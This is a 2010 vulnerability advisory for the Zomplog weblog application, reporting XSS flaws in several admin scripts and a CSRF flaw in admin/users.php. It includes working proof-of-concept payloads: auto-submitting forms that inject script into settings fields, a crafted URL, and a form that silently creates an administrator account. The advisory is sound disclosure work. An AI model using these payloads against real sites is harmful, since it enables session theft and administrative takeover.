Multiple Vulnerabilities in Zomplog
Advisory ID: | HTB22642 |
Product: | Zomplog |
Vendor: | Gerben Schmidt |
Vulnerable Versions: | 3.9 and probably prior |
Tested Version: | 3.9 |
Advisory Publication: | October 13, 2010 [without technical details] |
Vendor Notification: | October 13, 2010 |
Public Disclosure: | October 27, 2010 |
Vulnerability Type: | Cross-Site Scripting [CWE-79] Cross-Site Request Forgery [CWE-352] |
Risk Level: | Medium |
| |
CVSSv2 Base Scores: | 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N) 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P) |
Discovered and Provided: | High-Tech Bridge Security Research Lab |
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Zomplog which could be exploited to perform cross-site scripting and cross-site request forgery attacks.
1) Cross-site scripting (XSS) vulnerabilities in Zomplog 1.1 The vulnerability exists due to input sanitation error in the "weblog_subtitle" parameter in /admin/settings.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface. Exploitation example: <form action="http://host/admin/settings.php" method="post" enctype="multipart/form-data" name="main"> <input type="hidden" name="Submit" value="Submit ››"> <input type="hidden" name="weblog_title" value="My Zomplog"> <input type="hidden" name="weblog_subtitle" value='weblog subtitle"><script>alert(document.cookie)</script>'> <input type="hidden" name="language" value="english"> <input type="hidden" name="max" value="5"> <input type="hidden" name="scroll" value="5"> <input type="hidden" name="date" value="m d Y, G:i"> <input type="hidden" name="comments" value="1"> <input type="hidden" name="use_upload" value="1"> <input type="hidden" name="use_tinymce" value="1"> <input type="hidden" name="pages_admin" value="1"> <input type="hidden" name="max_upload" value="300000"> <input type="hidden" name="img_width" value="150"> <input type="hidden" name="img_fullwidth" value="450"> <input type="hidden" name="admin_welcome" value="Welcome to the Zomplog Dashboard!"> <input type="hidden" name="site_welcome" value="Welcome to the Zomplog Site!"> <input type="hidden" name="rss_description" value="RSS site description"> <input type="hidden" name="rss_category" value="rss_category"> <input type="hidden" name="rss_language" value="rss_language"> <input type="hidden" name="rss_email" value="rss_email"> <input type="hidden" name="rss_url" value="rss_url"> </form> <script> document.main.submit(); </script> 1.2 The vulnerability exists due to input sanitation error in the "about" parameter in /admin/settings_menu.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface. Exploitation example: <form action="http://host/admin/settings_menu.php" method="post" enctype="multipart/form-data" name="main"> <input type="hidden" name="Submit" value="Submit ››"> <input type="hidden" name="search" value="1"> <input type="hidden" name="teasers" value="1"> <input type="hidden" name="archive" value="1"> <input type="hidden" name="latestentries" value="1"> <input type="hidden" name="nr_entries" value="10"> <input type="hidden" name="latestcomments" value="1"> <input type="hidden" name="nr_comments" value="10"> <input type="hidden" name="categories" value="1"> <input type="hidden" name="authors" value="1"> <input type="hidden" name="pages" value="1"> <input type="hidden" name="meta" value="1"> <input type="hidden" name="login" value="1"> <input type="hidden" name="use_join" value="1"> <input type="hidden" name="powered" value="1"> <input type="hidden" name="about" value='about"><script>alert(document.cookie)</script>'> <input type="hidden" name="customfield" value="customfield"> </form> <script> document.main.submit(); </script> 1.3 The vulnerability exists due to input sanitation error in the "id" parameter in /admin/editor_pages.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface. Exploitation example: http://host/admin/editor_pages.php?id=1'"><script>alert(document.cookie)</sc ript>
2) Cross-site request forgery (CSRF) in Zomplog The vulnerability exists due to insufficient validation of the request origin in admin/users.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials. Exploitation example: <form action="http://host/admin/users.php" method="post"> <input type="hidden" name="login" value="newuserlogin"> <input type="hidden" name="password" value="password"> <input type="hidden" name="password2" value="password"> <input type="hidden" name="admin" value="1"> <input type="submit" id="btn" name="submit" value="Submit ››"> </form> <script> document.getElementById('btn').click(); </scri pt> |
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free Solution: |
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback. |
|
References: |
[1] High-Tech Bridge Advisory HTB22642 - https://www.immuniweb.com/advisory/HTB22642 - Multiple Vulnerabilities in Zomplog [2] Zomplog - www.zomp.nl - An easy to use weblog application which uses php and MySQL. [3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.